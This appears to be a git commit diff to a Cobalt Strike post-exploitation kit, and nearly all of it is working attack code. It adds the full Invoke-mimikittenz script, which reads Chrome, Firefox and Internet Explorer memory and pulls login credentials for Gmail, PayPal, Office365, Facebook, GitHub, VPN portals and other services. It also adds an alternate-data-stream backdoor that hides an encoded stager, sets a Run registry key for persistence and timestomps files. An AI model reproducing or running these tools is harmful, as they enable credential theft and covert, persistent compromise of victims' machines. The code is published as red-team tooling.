added mimikittenz, adsbackdoor script, and proper adsbackdoor function

This commit is contained in:
Jonathan Echavarria
2016-10-05 15:01:45 -04:00
parent f7d7243e21
commit 6a37a00dac
5 changed files with 618 additions and 18 deletions
+1
View File
@@ -0,0 +1 @@
In-dev/
+9
View File
@@ -52,6 +52,15 @@ popup beacon_bottom {
bpowershell($bid, "Get-KeePassDatabaseKey -Verbose");
}
}
item "Invoke-mimikittenz"{
local('$bid');
foreach $bid ($1) {
binput($bid, "powershell-import Invoke-mimikittenz.ps1");
bpowershell_import($bid, script_resource("scripts/Invoke-mimikittenz.ps1"));
binput($bid, "powershell Invoke-mimikittenz");
bpowershell($bid, "Invoke-mimikittenz");
}
}
}
}
+535
View File
@@ -0,0 +1,535 @@
function Invoke-mimikittenz
{
<#
.SYNOPSIS
Extracts juicy info from memory.
Author: Jamieson O'Reilly (https://au.linkedin.com/in/jamieson-o-reilly-13ab6470)
License: https://creativecommons.org/licenses/by/4.0/
.DESCRIPTION
Utilizes Windows function ReadProcessMemory() to extract juicy information from target process memory using regex.
.EXAMPLE
Invoke-mimikittenz
.NOTES
Depending on each process cleanup, process generally must be running in order to extract info.
#>
$asciiart = @"
4pSA4pSA4pSA4paQ4paA4paE4pSA4pSA4pSA4pSA4pSA4pSA4paE4paA4paM4pSA4pSA4pSA4paE4paE4paE4paE4paE4paE4paE4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSADQrilIDilIDilIDilozilpLilpLiloDiloTiloTiloTiloTiloDilpLilpLilpDiloTiloDiloDilpLilojilojilpLilojilojilpLiloDiloDiloTilIDilIDilIDilIDilIDilIDilIDilIDilIDilIANCuKUgOKUgOKWkOKWkuKWkuKWkuKWkuKWkuKWkuKWkuKWkuKWkuKWkuKWkuKWkuKWkuKWkuKWkuKWkuKWkuKWkuKWkuKWkuKWkuKWkuKWkuKWkuKWkuKWgOKWhOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgA0K4pSA4pSA4paM4paS4paS4paS4paS4paS4paS4paS4paS4paS4paS4paS4paS4paS4paE4paS4paS4paS4paS4paS4paS4paS4paS4paS4paS4paS4paS4paS4paA4paE4pSA4pSA4pSA4pSA4pSA4pSADQriloDilojilpLilpLilojilozilpLilpLilojilpLilpLilpDilojilpLilpLiloDilpLilpLilpLilpLilpLilpLilpLilpLilpLilpLilpLilpLilpLilpLilpLilpLilozilIDilIDilIDilIDilIANCuKWgOKWjOKWkuKWkuKWkuKWkuKWkuKWgOKWkuKWgOKWkuKWkuKWkuKWkuKWkuKWgOKWgOKWkuKWkuKWkuKWkuKWkuKWkuKWkuKWkuKWkuKWkuKWkuKWkuKWkuKWkuKWkuKWkOKUgOKUgOKUgOKWhOKWhA0K4paQ4paS4paS4paS4paS4paS4paS4paS4paS4paS4paS4paS4paS4paS4paS4paS4paS4paS4paS4paS4paS4paS4paS4paS4paS4paS4paS4paS4paS4paS4paS4paS4paS4paM4paE4paI4paS4paIDQrilpDilpLilpLilpLilpJtaW1pa2l0dGVuei0xLjAtYWxwaGHilpLilpLilpLilpLilpLilpLilpLilpLilpLilpDilpLilojiloDilIANCuKWkOKWkuKWkuKWkuKWkuKWkuKWkuKWkuKWkuKWkuKWkuKWkuKWkuKWkuKWkuKWkuKWkuKWkuKWkuKWkuKWkuKWkuKWkuKWkuKWkuKWkuKWkuKWkuKWkuKWkuKWkuKWkuKWkuKWkOKWgOKUgOKUgOKUgA0K4paQ4paS4paS4paS4paS4paS4paSQ0FOIEkgSEFaIFdBTT/ilpLilpLilpLilpLilpLilpLilpLilpLilpLilpLilpLilpLilozilIDilIDilIDilIANCuKUgOKWjOKWkuKWkuKWkuKWkuKWkuKWkuKWkuKWkuKWkuKWkuKWkuKWkuKWkuKWkuKWkuKWkuKWkuKWkuKWkuKWkuKWkuKWkuKWkuKWkuKWkuKWkuKWkuKWkuKWkuKWkuKWkOKUgOKUgOKUgOKUgOKUgA0K4pSA4paQ4paS4paS4paSamFtaWVzb25AZHJpbmdlbnNlYy5jb23ilpLilpLilpLilpLilozilIDilIDilIDilIDilIANCuKUgOKUgOKWjOKWkuKWkuKWkuKWkuKWkuKWkuKWkuKWkuKWkuKWkuKWkuKWkuKWkuKWkuKWkuKWkuKWkuKWkuKWkuKWkuKWkuKWkuKWkuKWkuKWkuKWkuKWkuKWkuKWkOKUgOKUgOKUgOKUgOKUgOKUgA0K4pSA4pSA4paQ4paE4paS4paS4paS4paS4paS4paS4paS4paS4paS4paS4paS4paS4paS4paS4paS4paS4paS4paS4paS4paS4paS4paS4paS4paS4paS4paS4paE4paM4pSA4pSA4pSA4pSA4pSA4pSADQrilIDilIDilIDilIDiloDiloTiloTiloDiloDiloDiloDiloTiloTiloDiloDiloDiloDiloDiloDiloTiloTiloDiloDiloDiloDiloDiloDiloTiloTiloDilIDilIDilIDilIDilIDilIDilIDilIA=
"@
$Source2 = @"
using System;
using System.Collections.Generic;
using System.Text;
using System.Diagnostics;
using System.Runtime.InteropServices;
using System.Text.RegularExpressions;
using System.IO;
namespace mimikittenz
{
public class MemProcInspector
{
static MemProcInspector()
{
InitRegexes();
}
public static void SaveToFile(string fileName, List<MatchInfo> matches)
{
StringBuilder builder = new StringBuilder();
foreach (MatchInfo s in matches)
{
builder.AppendLine(s.PatternMatch);
}
File.WriteAllText(fileName, builder.ToString());
}
public static void AddRegex(string name, string pattern)
{
regexes.Add(new RegexRecord(name, pattern));
}
public static List<RegexRecord> regexes = new List<RegexRecord>();
public static List<MatchInfo> InspectManyProcs(params string[] procNames)
{
List<MatchInfo> lstMatch = new List<MatchInfo>();
string res = "None";
foreach (string procName in procNames)
{
try
{
Process[] procs = Process.GetProcessesByName(procName);
foreach (Process pr in procs)
{
Process process = pr;
res = InspectProc(process, ref lstMatch);
}
}
catch (Exception ex)
{
res = ex.Message;
res = ex.StackTrace;
}
}
List<string> lstToReturn = new List<string>();
return lstMatch;
}
private static void InitRegexes()
{
regexes.Clear();
}
private static string InspectProc(Process process, ref List<MatchInfo> lstMatch)
{
string res = "";
IntPtr processHandle = MInterop.OpenProcess(MInterop.PROCESS_WM_READ | MInterop.PROCESS_QUERY_INFORMATION, false, process.Id);
if (processHandle.ToInt64() == 0)
{
int err = Marshal.GetLastWin32Error();
}
res = SearchProc(processHandle, ref lstMatch);
MInterop.CloseHandle(processHandle);
return res;
}
private static string SearchProc(IntPtr processHandle, ref List<MatchInfo> lstMatch)
{
string res = "";
MInterop.SYSTEM_INFO si = new MInterop.SYSTEM_INFO();
MInterop.GetSystemInfo(out si);
long createdSize = 1;
byte[] lpBuffer = new byte[createdSize];
Int64 total = 0;
long regionStart = si.minimumApplicationAddress.ToInt64(); //(BYTE*)si.lpMinimumApplicationAddress;
bool skipRegion = false;
bool stop = false;
//while (regionStart < Math.Min(0x7ffeffff, si.maximumApplicationAddress.ToInt64()) && !stop)
while (regionStart < si.maximumApplicationAddress.ToInt64() && !stop)
{
//MInterop.MEMORY_BASIC_INFORMATION memInfo;
MInterop.MEMORY_BASIC_INFORMATION memInfo;
long regionRead = 0;
long regionSize;
int resulq = MInterop.VirtualQueryEx(processHandle, (IntPtr)regionStart, out memInfo, (uint)Marshal.SizeOf(typeof(MInterop.MEMORY_BASIC_INFORMATION)));
if (resulq == 0)
{
//XVERBOSE(L"VirtualQueryEx error %d\n", GetLastError());
int err = Marshal.GetLastWin32Error();
Marshal.ThrowExceptionForHR(err);
break;
}
regionSize = (memInfo.BaseAddress.ToInt64() + memInfo.RegionSize.ToInt64() - regionStart);
if (MInterop.IsDataRegion(memInfo) == false)
{
}
if (skipRegion)
{
skipRegion = false;
}
else
if (MInterop.IsDataRegion(memInfo))
{
if (createdSize < regionSize)
{
createdSize = regionSize;
lpBuffer = new byte[createdSize];
}
bool resRead = false;
try
{
resRead = MInterop.ReadProcessMemory(processHandle, new IntPtr(regionStart), lpBuffer, regionSize, out regionRead);
}
catch //(AccessViolationException ex)
{
resRead = false;
}
// result |= SearchRegion(process, regionStart, regionSize, regexData, regionRead, buffer);
regionSize = (int)regionRead;
if (!resRead)
{
// looks like the memory state has been altered by the target process
// between our VirtualQueryEx and ReadProcessMemory calls ->
// learn the size of the changed region and jump over it on the next iteration
skipRegion = true;
//XVERBOSE(L"Skipping a non-readable region\n");
}
if (resRead)
{
List<string> strsTolook = new List<string>();
string str1 = UnicodeEncoding.Unicode.GetString(lpBuffer, 0, (int)regionRead);
string str11 = UnicodeEncoding.Unicode.GetString(lpBuffer, 0 + 1, (int)regionRead - 1);
string str4 = UnicodeEncoding.ASCII.GetString(lpBuffer, 0, (int)regionRead);
strsTolook.Add(str1);
strsTolook.Add(str4);
strsTolook.Add(str11);
foreach (RegexRecord regexRec in regexes)
{
foreach (string str in strsTolook)
{
MatchCollection matches3 = regexRec.Regex.Matches(str);
if (matches3.Count > 0)
{
for (int i = 0; i < matches3.Count; i++)
if (matches3[i].Success && IsMatchesContain(lstMatch, matches3[i].Value) == false && IsRegexRecordsContain(matches3[i].Value) == false)
{
MatchInfo m = new MatchInfo();
m.PatternName = regexRec.Name;
m.PatternMatch = matches3[i].Value;
lstMatch.Add(m);
}
res = matches3[0].Value;
}
}
}
}
total += regionSize;
}
regionStart += regionSize;
//stop = IsStop(stopEvent);
}
//XVERBOSE(L"Totally searched %lu bytes\n", total);
//return result;
return res;
}
private static bool IsMatchesContain(List<MatchInfo> matches, string val)
{
foreach (MatchInfo item in matches)
{
if (string.Compare(item.PatternMatch, val) == 0)
return true;
}
return false;
}
private static bool IsRegexRecordsContain(string pattern)
{
foreach (RegexRecord item in regexes)
{
if (string.Compare(item.Pattern, pattern) == 0)
return true;
}
return false;
}
const int MAX_PREFIX_LENGTH = 1;
// the essence
// estimated upper limit to allocate enough buffers
const int MAX_MATCH_LENGTH = 1024;
// the buffer should be large enough to contain at least MAX_CHECK_LENGTH*sizeof(wchar_t) bytes
const int DEFAULT_SEARCH_BUFFER_SIZE = (10 * 1024 * 1024);
// the upper limit of the buffer size
const int MAX_SEARCH_BUFFER_SIZE = (25 * 1024 * 1024);
}
public class MatchInfo
{
public string PatternName;
public string PatternMatch;
// public string ProccesName { get; set; }
}
public class RegexRecord
{
Regex mRegex;
protected RegexRecord()
{
}
public RegexRecord(string name, string pattern)
{
Name = name;
Pattern = pattern;
mRegex = new Regex(pattern);
}
public Regex Regex { get { return mRegex; } }
public string Name;
public string Pattern;
}
public class MInterop
{
[DllImport("kernel32.dll", SetLastError = true)]
[return: MarshalAs(UnmanagedType.Bool)]
public static extern bool CloseHandle(IntPtr hObject);
[DllImport("kernel32.dll", SetLastError = true)]
public static extern IntPtr OpenProcess(int dwDesiredAccess, bool bInheritHandle, int dwProcessId);
[DllImport("kernel32.dll", SetLastError = true)]
public static extern bool ReadProcessMemory(IntPtr hProcess,
IntPtr lpBaseAddress, byte[] lpBuffer, long dwSize, out long lpNumberOfBytesRead);
public const int PROCESS_WM_READ = 0x0010;
public const int PROCESS_QUERY_INFORMATION = 0x00000400;
[DllImport("kernel32.dll", SetLastError = true)]
public static extern int VirtualQueryEx(IntPtr hProcess, IntPtr lpAddress, out MEMORY_BASIC_INFORMATION lpBuffer, uint dwLength);
[StructLayout(LayoutKind.Sequential)]
public struct MEMORY_BASIC_INFORMATION32
{
public IntPtr BaseAddress;
public IntPtr AllocationBase;
public uint AllocationProtect;
public IntPtr RegionSize;
public uint State;
public uint Protect;
public uint Type;
}
[StructLayout(LayoutKind.Sequential)]
public struct MEMORY_BASIC_INFORMATION
{
public IntPtr BaseAddress;
public IntPtr AllocationBase;
public uint AllocationProtect;
public short aligment;
public IntPtr RegionSize;
public uint State;
public uint Protect;
public uint Type;
public short aligment2;
}
public enum AllocationProtect : uint
{
PAGE_EXECUTE = 0x00000010,
PAGE_EXECUTE_READ = 0x00000020,
PAGE_EXECUTE_READWRITE = 0x00000040,
PAGE_EXECUTE_WRITECOPY = 0x00000080,
PAGE_NOACCESS = 0x00000001,
PAGE_READONLY = 0x00000002,
PAGE_READWRITE = 0x00000004,
PAGE_WRITECOPY = 0x00000008,
PAGE_GUARD = 0x00000100,
PAGE_NOCACHE = 0x00000200,
PAGE_WRITECOMBINE = 0x00000400
}
[StructLayout(LayoutKind.Sequential)]
public struct SYSTEM_INFO
{
public ushort processorArchitecture;
ushort reserved;
public uint pageSize;
public IntPtr minimumApplicationAddress;
public IntPtr maximumApplicationAddress;
public IntPtr activeProcessorMask;
public uint numberOfProcessors;
public uint processorType;
public uint allocationGranularity;
public ushort processorLevel;
public ushort processorRevision;
}
[DllImport("kernel32.dll")]
public static extern void GetSystemInfo(out SYSTEM_INFO lpSystemInfo);
public enum StateEnum : uint
{
MEM_COMMIT = 0x1000,
MEM_FREE = 0x10000,
MEM_RESERVE = 0x2000
}
public enum TypeEnum : uint
{
MEM_IMAGE = 0x1000000,
MEM_MAPPED = 0x40000,
MEM_PRIVATE = 0x20000
}
internal static bool IsDataRegion(MEMORY_BASIC_INFORMATION memInfo)
{
bool res = // check this is a live (not free/reserved) memory
(memInfo.State & (uint)StateEnum.MEM_COMMIT) != 0 &&
// don't examine memory mapped files sections / PE images
// (memInfo.Type & (uint)TypeEnum.MEM_PRIVATE) != 0 &&
// don't read PAGE_GUARD memory to avoid altering target state
(memInfo.Protect & ((uint)AllocationProtect.PAGE_NOACCESS | (uint)AllocationProtect.PAGE_GUARD)) == 0
&&
// make sure the memory is readable
(memInfo.Protect & ((uint)AllocationProtect.PAGE_READONLY | (uint)AllocationProtect.PAGE_READWRITE |
(uint)AllocationProtect.PAGE_EXECUTE_READ | (uint)AllocationProtect.PAGE_EXECUTE_READWRITE | (uint)AllocationProtect.PAGE_EXECUTE_WRITECOPY)) != 0;
return res;
}
public enum ProcessAccessTypes
{
PROCESS_TERMINATE = 0x00000001,
PROCESS_CREATE_THREAD = 0x00000002,
PROCESS_SET_SESSIONID = 0x00000004,
PROCESS_VM_OPERATION = 0x00000008,
PROCESS_VM_READ = 0x00000010,
PROCESS_VM_WRITE = 0x00000020,
PROCESS_DUP_HANDLE = 0x00000040,
PROCESS_CREATE_PROCESS = 0x00000080,
PROCESS_SET_QUOTA = 0x00000100,
PROCESS_SET_INFORMATION = 0x00000200,
PROCESS_QUERY_INFORMATION = 0x00000400,
STANDARD_RIGHTS_REQUIRED = 0x000F0000,
SYNCHRONIZE = 0x00100000,
PROCESS_ALL_ACCESS = PROCESS_TERMINATE | PROCESS_CREATE_THREAD | PROCESS_SET_SESSIONID | PROCESS_VM_OPERATION |
PROCESS_VM_READ | PROCESS_VM_WRITE | PROCESS_DUP_HANDLE | PROCESS_CREATE_PROCESS | PROCESS_SET_QUOTA |
PROCESS_SET_INFORMATION | PROCESS_QUERY_INFORMATION | STANDARD_RIGHTS_REQUIRED | SYNCHRONIZE
}
}
}
"@
$inmem=New-Object -TypeName System.CodeDom.Compiler.CompilerParameters
$inmem.GenerateInMemory=1
$inmem.ReferencedAssemblies.AddRange($(@("System.dll", $([PSObject].Assembly.Location))))
Add-Type -TypeDefinition $Source2 -Language CSharp -CompilerParameters $inmem
[mimikittenz.MemProcInspector]::regexes.Clear()
#Internet Banking
#Err... Taken out for good measure
#Web E-mail
#Gmail
[mimikittenz.MemProcInspector]::AddRegex("Gmail","&Email=.{1,99}?&Passwd=.{1,99}?&PersistentCookie=")
#Web Services
#Dropbox
[mimikittenz.MemProcInspector]::AddRegex("Dropbox","login_email=.{1,99}&login_password=.{1,99}&")
#SalesForce (Needs fix)
#[mimikittenz.MemProcInspector]::AddRegex("SalesForce","&display=page&username=.{1,32}&pw=.{1,16}&Login=")
#Office365
[mimikittenz.MemProcInspector]::AddRegex("Office365","login=.{1,32}&passwd=.{1,22}&PPSX=")
#Microsoft OneDrive
[mimikittenz.MemProcInspector]::AddRegex("MicrosoftOneDrive","login=.{1,42}&passwd=.{1,22}&type=.{1,2}&PPFT=")
#PayPal
[mimikittenz.MemProcInspector]::AddRegex("PayPal","login_email=.{1,48}&login_password=.{1,16}&submit=Log\+In&browser_name")
#AWS Web Services
[mimikittenz.MemProcInspector]::AddRegex("awsWebServices","&email=.{1,48}&create=.{1,2}&password=.{1,22}&metadata1=")
#Outlook Web 2015
[mimikittenz.MemProcInspector]::AddRegex("OutlookWeb","&username=.{1,48}&password=.{1,48}&passwordText")
#Slack
[mimikittenz.MemProcInspector]::AddRegex("Slack","&crumb=.{1,70}&email=.{1,50}&password=.{1,48}")
#CitrixOnline
[mimikittenz.MemProcInspector]::AddRegex("CitrixOnline","emailAddress=.{1,50}&password=.{1,50}&submit")
#Accounting
#Xero
[mimikittenz.MemProcInspector]::AddRegex("Xero ","fragment=&userName=.{1,32}&password=.{1,22}&__RequestVerificationToken=")
#MYOB
[mimikittenz.MemProcInspector]::AddRegex("MYOB","UserName=.{1,50}&Password=.{1,50}&RememberMe=")
#SSL-VPN's
#Juniper SSL-VPN
[mimikittenz.MemProcInspector]::AddRegex("JuniperSSLVPN","tz_offset=-.{1,6}&username=.{1,22}&password=.{1,22}&realm=.{1,22}&btnSubmit=")
#Social Media
#Twitter
[mimikittenz.MemProcInspector]::AddRegex("Twitter","username_or_email%5D=.{1,42}&session%5Bpassword%5D=.{1,22}&remember_me=")
#Facebook
[mimikittenz.MemProcInspector]::AddRegex("Facebook","lsd=.{1,10}&email=.{1,42}&pass=.{1,22}&default_persistent=")
#LinkedIN
[mimikittenz.MemProcInspector]::AddRegex("LinkedIN","session_key=.{1,50}&session_password=.{1,50}&isJsEnabled")
#Anti-Forensics
#Malwr
[mimikittenz.MemProcInspector]::AddRegex("Malwr","&username=.{1,32}&password=.{1,22}&next=")
#VirusTotal
[mimikittenz.MemProcInspector]::AddRegex("VirusTotal","password=.{1,22}&username=.{1,42}&next=%2Fen%2F&response_format=json")
#AnubisLabs
[mimikittenz.MemProcInspector]::AddRegex("AnubisLabs","username=.{1,42}&password=.{1,22}&login=login")
#Remote Access
#Citrix NetScaler
[mimikittenz.MemProcInspector]::AddRegex("CitrixNetScaler","login=.{1,22}&passwd=.{1,42}")
#Remote Desktop Web Access 2012
[mimikittenz.MemProcInspector]::AddRegex("RDPWeb","DomainUserName=.{1,52}&UserPass=.{1,42}&MachineType")
#Dev Related
#Jira
[mimikittenz.MemProcInspector]::AddRegex("JIRA","username=.{1,50}&password=.{1,50}&rememberMe")
#Redmine
[mimikittenz.MemProcInspector]::AddRegex("Redmine","username=.{1,50}&password=.{1,50}&login=Login")
#Github
[mimikittenz.MemProcInspector]::AddRegex("Github","%3D%3D&login=.{1,50}&password=.{1,50}")
#Bugzilla
[mimikittenz.MemProcInspector]::AddRegex("BugZilla","Bugzilla_login=.{1,50}&Bugzilla_password=.{1,50}")
#Zendesk
[mimikittenz.MemProcInspector]::AddRegex("Zendesk","user%5Bemail%5D=.{1,50}&user%5Bpassword%5D=.{1,50}")
#Cpanel
[mimikittenz.MemProcInspector]::AddRegex("Cpanel","user=.{1,50}&pass=.{1,50}")
[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($asciiart))
$matchesFound=[mimikittenz.MemProcInspector]::InspectManyProcs("iexplore","chrome","firefox")
write-output $matchesFound
}
+6 -18
View File
@@ -9,35 +9,23 @@ sub servicefilename {
}
# Menu-driven operation to create an NTFS Alternate Data Stream backdoor that
# autoruns on boot
#
# BUG WARN: need to be able to get the folder location from specified file
# location to support ADS injection into both files and folders
# autoruns on boot. Does NOT require admin
sub createADSBackdoor {
$bid = $1;
$selectedListener = $2;
prompt_text("Location of file/folder to give ADS?", "%APPDATA%\Temp", lambda({
# Here's the bug, if you can think of a better way to do this,
# please submit a PR
bcd($bid, $1);
prompt_text("Location of file/folder to give ADS (it must exist!)?", "%APPDATA%\Temp\somefile.txt", lambda({
# Encode shellcode for the stager
$psPayload = powershell_encode_stager(shellcode($selectedListener));
# Create ADS file, ensure timestamps are not modified
bshell($bid, ">>adfjklbalgjbr.txt echo \"$psPayload\"");
btimestomp($bid, "adfjklbalgjbr.txt", $1);
bshell($bid, "type adfjklbalgjbr.txt > $1 $+ :gfdjkasghslkg.txt");
btimestomp($bid, "$1 $+ :gfdjkasghslkg.txt", "adfjklbalgjbr.txt");
brm($bid, "adfjklbalgjbr.txt");
$psExecBackdoorCmd = powershell_encode_stager("gc $FILE_TO_ADS:<randomshit.txt> | powershell.exe -noprofile -ep bypass -enc -");
$fullPsPayload = "powershell.exe -nop -w hidden -encodedcommand $psPayload";
bpowershell_import($bid, script_resource("scritps\Invoke-ADSBackdoor.ps1"));
getADSRegName();
# Write the reg key for the backdoor
bpowershell($1, "Set-Item -Path \"HKCU:\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\" -Name \" $+ $theADSRegName $+ \" -PropertyType String -Value \"powershell.exe -ExecutionPolicy bypass -noprofile -enc $psExecBackdoorCmd \"");
bpowershell($bid, "Invoke-ADSBackdoor -RegKeyName $theADSRegName -backdoored_file_path $1 -cobaltstrike_gen_payload $fullPsPayload");
} $bid => $1, $selectedListener => $2 ));
}
# Returns a string to use for the reg key name
sub getADSRegName {
prompt_text("Service Name you'd like to use?", "IntelStartupSvc", {
prompt_text("Registry key name you'd like to use?", "Update", {
$theADSRegName = $1;
});
return $theADSRegName;
@@ -0,0 +1,67 @@
function Invoke-ADSBackdoor{
<#
.SYNOPSIS
Powershell Script that will use Alternate Data Streams to achieve persistence
Author: Matt Nelson (@enigma0x3), modified by Jonathan Echavarria (@Und3rf10w) to work with Cobalt Strike
.DESCRIPTION
This script will obtain persistence on a Windows 7+ machine under both Standard and Administrative accounts by
using two Alternate Data Streams. The first Alternate Data stream stores the payload and the second Alternate Data Stream
stores some VBScript that acts as a wrapper in order to hide the DOS prompt when invoking the data stream containing the
payload. This script is not intented to be used outside the Cobalt Strike Und3rf10w Aggressor Kit workflow as it will
correctly generate all of the correct arguments.
.EXAMPLE
PS C:\> Invoke-ADSBackdoor -RegKeyName Und3rf10w_key -backdoored_file_path C:\Windows\System32\explorer.exe -cobaltstrike_gen_payload <provided by cobalt strike>
#>
[CmdletBinding()]
Param(
[Parameter(Mandatory=$True)]
[string]$cobaltstrike_gen_payload
[Parameter(Mandatory=$False)]
[string]$RegKeyName
[Parameter(Mandatory=$False)]
[string]$backdoored_file_path
)
if (!$RegKeyName) {
Write-Host "Registry key name not provided, defaulting to 'Update'"
$RegKeyName = "Update"
}
if (!$backdoored_file_path) {
Write-Host "Path to file to backdoor not provided, defaulting to '$env:USERPROFILE\AppData'"
$backdoored_file_path = "$env:USERPROFILE\AppData"
}
$payload = $cobaltstrike_gen_payload
$payload_adsfile_name = [System.IO.Path]::GetRandomFileName()
$wrapper_adsfile_name = [System.IO.Path]::GetRandomFileName()
$vbstext1 = "Dim objShell"
$vbstext2 = "Set objShell = WScript.CreateObject(""WScript.Shell"")"
$vbstext3 = "command = ""cmd /C for /f """"delims=,"""" %i in ($backdoored_file_path" + ":" + "$payload_adsfile_name") do %i""" #TODO: change the path to a proper variable
$vbstext4 = "objShell.Run command, 0"
$vbstext5 = "Set objShell = Nothing"
$vbText = $vbstext1 + ":" + $vbstext2 + ":" + $vbstext3 + ":" + $vbstext4 + ":" + $vbstext5
$createPayloadADS = {cmd /C "echo $payload > $backdoored_file_path:$payload_adsfile_name"}
Write-Host "Payload stored in $backdoored_file_path" + ":$payload_adsfile_name"
$createWrapperADS = {cmd /C "echo $vbtext > $backdoored_file_path:$wrapper_adsfile_name"}
Write-Host "Payload VBS wrapper stored in $backdoored_file_path" + ":$wrapper_adsfile_name"
Invoke-Command -ScriptBlock $createPayloadADS
Invoke-Command -ScriptBlock $createWrapperADS
New-ItemProperty -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\Run" -Name $RegKeyName -PropertyType String -Value "\"wscript.exe " + "$backdoored_file_path" + ":$wrapper_adsfile_name\"" -Force
Write-Host "Backdoor Deployed, details provided below, take notes:"
Write-Host "Reg key path: HKCU:\Software\Microsoft\Windows\CurrentVersion\Run\$RegKeyName"
Write-Host "Payload path: $backdoored_file_path" + ":$payload_adsfile_name"
Write-Host "Wrapper path: $backdoored_file_path" + ":$wrapper_adsfile_name"
}